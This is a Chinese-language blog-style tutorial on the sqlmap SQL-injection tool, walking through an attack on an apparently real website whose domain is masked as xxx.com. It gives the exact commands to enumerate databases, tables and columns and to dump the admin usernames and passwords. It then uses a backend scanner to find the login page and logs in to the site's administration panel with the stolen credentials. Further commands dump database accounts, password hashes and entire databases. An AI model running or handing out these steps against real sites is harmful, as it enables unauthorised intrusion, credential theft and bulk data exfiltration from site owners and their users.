sqlmap介绍
- SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft
SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP
MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。sqlmap详解
测试网站
http://www.xxx.com/news_d.php?id=644
测试工具
基于python环境的sqlmap
御剑后台扫描
测试实例
1.先手动判断注入点:输入and1=1发现为报错
输入and1=2发现报错
2. 查看是否可以注入 : 打开sqlmap 输入语句sqlmap.py -u "www.xxx.com/news_d.php?id=644"
这里箭头所指为网站所用数据库及其版本信息 此站为Mysql 5.0.11出现这些说明此网站存在注入。
3.暴库 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” --dbs
这里曝出三个数据库 information_schema , mysql , xifan
4.暴出当前使用的数据库 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” --current-db (注意这里–current-db之间没有空格)。
当前使用数据库的名称为xifan
5.查看xifan数据库中的表名 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” -D “xifan” --tables
xifan数据库下存在8个表,盲猜账号密码应该在表admin里。
6.查看admin表里面的列 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” -D “xifan” -T “admin” --columns
共有7个字段 id 、 ip 、 loginSum 、 loginTime 、 password 、 rights 、 username , 至此可判断出username、password中分别存放着用户名和密码。
7.查看用户名和密码 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” -D “xifan” -T “admin” -C “username,password” --dump
至此我们获得了管理员登陆的账号和密码。
8.使用御剑后台扫描找到后台登陆页面
猜测 http://www.xxx.com/WebAdmin/login.php 为后台登陆页面
9.在后台管理系统中输入sqlmap暴出的账号和密码
至此已成功拿到网站后台。
sqlmap补充语句
查看所有数据库使用账户 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” --users
查看当前数据库使用账户 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” --current-user
查看密码 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” --passwords
如果表中字段内容过多可限制输出行数 : sqlmap.py -u “www.xxx.com/news_d.php?id=644” -D “xifan” -T “admin” -C “username,password” --start 1 --stop 10 --dump
补充:
- 脱裤
- 指定数据库,表名下的所有内容
sqlmap.py -u “http://127.0.0.1/index.php?id=1” --dump -D sqlinject -T admin -C “id,username,password”
指定数据库下的所有表名
sqlmap.py -u “http://127.0.0.1/index.php?id=1” -D sqlinject --dump-all
此篇文章只是用于自己的知识积累,各位大牛忽略